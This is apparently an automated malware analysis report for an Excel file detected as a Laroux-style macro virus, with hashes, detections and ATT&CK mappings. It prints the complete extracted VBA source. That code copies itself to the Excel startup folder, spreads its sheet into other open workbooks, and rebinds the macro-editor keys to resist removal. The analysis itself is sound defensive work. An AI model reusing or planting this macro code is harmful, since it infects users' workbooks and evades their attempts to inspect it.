Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c8d7e6ebc13f97fe…

MALICIOUS

Office (OLE)

43.0 KB Created: 2007-12-03 00:28:12 Authoring application: Microsoft Excel First seen: 2015-09-16
MD5: 341f392cd3e1f5cc210b4ffcafdc5ae0 SHA-1: 6558f3d6024b395631e3de572a712d4857d5f4e6 SHA-256: c8d7e6ebc13f97febcbb2152185b38ba1cfdfa3bf0f41f6f4e95f17ea9bf5908
148 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The critical ClamAV heuristics indicate this is a malicious Excel file, specifically identified as Ppt.Malware.Laroux-10036124-0 and Xls.Trojan.Escape-1. The VBA macro 'auto_open' attempts to establish persistence by copying the workbook to the Excel startup folder as 'StartUp.xls'. It also sets up application event handlers, suggesting an intent to maintain control or execute further malicious actions upon user interaction.

Heuristics 3

  • ClamAV: Ppt.Malware.Laroux-10036124-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Ppt.Malware.Laroux-10036124-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3698 bytes
SHA-256: 90a8f4d20e1a35b2a5510cafc54217470bfd00376c1ba60648131f0527fb3fa7
Detection
ClamAV: Xls.Trojan.Escape-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
    Dim i As Single
  On Error Resume Next
  If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
    Application.ScreenUpdating = False
    ThisWorkbook.Sheets("StartUp").Copy
    ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
    n$ = ActiveWorkbook.Name
    ActiveWindow.Visible = False
    Workbooks("StartUp.xls").Save
    'Workbooks(n$).Close (False)
  End If
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.Calculation = xlCalculationManual
'  On Error Resume Next
'  On Error GoTo 0
    Worksheets("barcode").ComboBox2.Clear
    Worksheets("barcode").ComboBox2.AddItem "MDM20"
    Worksheets("barcode").ComboBox2.AddItem "MDQ70"
    Worksheets("barcode").ComboBox2.AddItem "MDM21"
    Worksheets("barcode").ComboBox2.AddItem "MDM20Z"
    Worksheets("barcode").ComboBox2.AddItem "MDT10"
    Worksheets("barcode").ComboBox2.AddItem "MDS90"
    Worksheets("barcode").ComboBox1.Clear
    Worksheets("barcode").ComboBox1.AddItem "新LOT"
'    Worksheets("barcode").ComboBox3.Clear
    
'    For i = 2 To Worksheets("sequence").[a65536].End(xlUp).Row
'    Worksheets("barcode").ComboBox3.AddItem Worksheets("sequence").Cells(i, 1)
'    Next i
    
    Dim MyArray(280, 3)


     '第一个列表框包含三个数据列
    Worksheets("barcode").ListBox1.ColumnCount = 3
     '第二个框包含六个数据列
    For i = 0 To 280
    MyArray(i, 0) = Worksheets("全工程（ZPT）").Cells(i + 4, 8)
    MyArray(i, 1) = Worksheets("全工程（ZPT）").Cells(i + 4, 6)
    MyArray(i, 2) = Worksheets("全工程（ZPT）").Cells(i + 4, 7)
    Next i


'     MyArray = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

'     MyArray = Worksheets("全工程（ZPT）").Range("f4:h9")

    Worksheets("barcode").ListBox1.List() = MyArray
'    ListBox2.Column() = MyArray
    
Rem  arr = Worksheets("全工程（ZPT）").Range("F4:H" & Worksheets("全工程（ZPT）").[a65536].End(xlUp).Row)

Rem ListBox1.AddItem Worksheets("全工程（ZPT）").Cells(i, 6)
End Sub

Sub ycop()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
    Application.ScreenUpdating = False
    n$ = ActiveSheet.Name
    Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
    Sheets(n$).Select
  End If
End Sub

Sub escape()
    On Error Resume Next
    Application.OnSheetActivate = "StartUp.xls!back"
    Application.OnKey "%{F11}"
    Application.OnKey "%{F8}"
    Application.SendKeys "%{F11}"
    Application.SendKeys "%{F8}"
    For Each book In Workbooks
        Application.DisplayAlerts = False
        If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
    Next
    For Each book In Workbooks
        If book.Name = "StartUp.xls" Then
        book.Close
    End If
    Next
End Sub

Sub back()
  On Error Resume Next
  Application.OnKey "%{F8}", "StartUp.xls!escape"
  Application.OnKey "%{F11}", "StartUp.xls!escape"
  Application.OnSheetActivate = "StartUp.xls!ycop"
  Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!ycop"
  Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.